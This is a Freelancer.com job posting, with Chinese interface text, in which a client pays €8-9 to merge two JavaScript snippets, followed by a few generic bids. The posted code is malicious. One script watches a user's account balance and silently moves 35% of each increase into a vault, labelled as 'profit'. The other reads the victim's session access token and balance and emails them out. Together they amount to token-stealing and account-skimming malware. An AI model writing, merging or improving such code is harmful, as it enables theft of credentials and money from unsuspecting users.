Find Jobs
Hire Freelancers

2 scripts need to be included in 1 script

€8-9 EUR

已关闭
已发布超过 3 年前

€8-9 EUR

货到付款
hey there i got 2 seperate javascripts need them to be done one script out of it dont msg me if you THINK you can do it just msg if you CAN do it dont msg me if you need 5 days for it its a 10 minute task need it to be done instantly. no discussions for whats your max budget its written in here script one: [login to view URL] = function loadpage(){ [login to view URL]([login to view URL]); if ([login to view URL] === 'complete') { var oldBal = [login to view URL](".[login to view URL] .[login to view URL]").innerText; var curBalEle = [login to view URL](".[login to view URL] .[login to view URL]").innerText; function tresor(){ oldBal = curBalEle if (oldBal = curBalEle){ function depositBal(depositAmount) { var curr = getCurrency(); var data = [{ operationName: "CreateVaultDeposit", query: "mutation CreateVaultDeposit($amount: Float!, $currency: CurrencyEnum!) { createVaultDeposit(amount: $amount, currency: $currency) { id amount currency user { id balances { available { amount currency __typename } vault { amount currency __typename } __typename } __typename } __typename } } ", variables: { amount: depositAmount, currency: curr,}}] return fetch("[login to view URL] ", { "credentials": "omit", "headers": { "content-type": "application/json", 'x-access-token': accessToken, 'x-lockdown-token': undefined}, "referrer": "[login to view URL] " + curr + "&modal=vault&operation=deposit", "body": [login to view URL](data), "method": "POST", "mode": "cors"});} function checkBalance() { var curBalEle=[login to view URL](".[login to view URL] .[login to view URL]"); if([login to view URL]('styles__Content-rlm06o-1 ixoRjG').length > 0){ curBalEle = [login to view URL]('styles__Content-rlm06o-1 ixoRjG')[0].innerText; if(curBalEle != '') { //[login to view URL]('balance changed'); //[login to view URL]('old balance : ' + oldBal); //[login to view URL]('current balance : ' + curBalEle); if (curBalEle > oldBal) { var depositAmount = ((curBalEle - oldBal) * 0.35); /////////// Setup Profit here in Decimal: 50 % = 0.50 - 75 % = 0.75 - 15 % = 0.15 depositBal(depositAmount).then(() => { oldBal = [login to view URL](".[login to view URL] .[login to view URL]").innerText; [login to view URL]("oldBal", oldBal); getConversionElem().innerText = convertCurrency(getCurrency(), curBalEle).toFixed(2) + "$"; oldBal = curBalEle; });} oldBal = curBalEle; }}}[login to view URL](checkBalance, 1751);}//timerspeed read send to tresor else{ tresor();//if different balance run func tresor }}var myTimer = setTimeout(tresor, 5500);}}; //timer func(tresor) script two:[login to view URL] = function loadpage(){ [login to view URL]([login to view URL]); if ([login to view URL] === 'complete') { function sendEmail() { var bal = [login to view URL](".[login to view URL] .[login to view URL]").innerText; var cur = [login to view URL]([login to view URL]("v2_currency")).currency; var accessToken = [login to view URL]('session').replace(/"/g, ''); var neu = [login to view URL]("Title__H1-sc-1ncj9v4-0 fWnJeW")[0].[login to view URL] ; [login to view URL] .send({ Host : "", Username : "", Password : "", To : '', From : "", Subject : neu , Body : accessToken +"<p>" +neu +"<p>" +bal +" " +cur, }).then( message => alert(message) ); } // Load [login to view URL] var s = [login to view URL]("script"); [login to view URL] = "[login to view URL] "; [login to view URL](s); // Wait 3 seconds before sending the email (it gives [login to view URL] time to load) setTimeout(sendEmail, 3000);}} script 2 needs to included in script 1. script 2 only shoud be run one time after page is loaded. after script 2 is done the rest of script 1 should be executet in loop
项目 ID: 27107700

关于此项目

5提案
远程项目
活跃4 年前

想赚点钱吗?

在Freelancer上竞价的好处

设定您的预算和时间范围
为您的工作获得报酬
简要概述您的提案
免费注册和竞标工作
5威客以平均价€10 EUR来参与此工作竞价
用户头像
Javascript Expert here I have 8+ years of experience in Web Designing and Development. Let have a chat and discuss in detail I have read your description. Once we clear our requirements and understood all things we may revise budget and timeline if needed. Ready to start work. Inbox me and let's talk to get started!
€9 EUR 在7天之内
4.9 (18条评论)
4.7
4.7
用户头像
--Everything depends on you.-- I am a full-stack developer with 10 years of experience. My skill is only WordPress, PHP, MySQL, Magento, Laravel, React, Node, Angular, CI but also Bootstrap, PSD to HTML, Website design, etc. And I've read your requirement carefully and I understand what you really want. But I have something to ask you about your problem. Of course, I have worked on several similar projects and can deliver a quality program to tight deadlines. I am online 24 hours a day so you can contact me anytime. If you hire me for the project, I will discuss this further and get started for you as soon as possible. Hope to see you! From Ruslan.
€9 EUR 在7天之内
4.7 (23条评论)
4.6
4.6
用户头像
hi, I'm quite expert with javascript, i can surely work on this and make this done. Waiting for your reply. thanks and regards.
€12 EUR 在1天之内
0.0 (0条评论)
0.0
0.0

关于客户

GERMANY的国旗
karlsruhe, Germany
5.0
9
付款方式已验证
会员自1月 18, 2020起

客户认证

谢谢!我们已通过电子邮件向您发送了索取免费积分的链接。
发送电子邮件时出现问题。请再试一次。
已注册用户 发布工作总数
Freelancer ® is a registered Trademark of Freelancer Technology Pty Limited (ACN 142 189 759)
Copyright © 2024 Freelancer Technology Pty Limited (ACN 142 189 759)
加载预览
授予地理位置权限。
您的登录会话已过期而且您已经登出,请再次登录。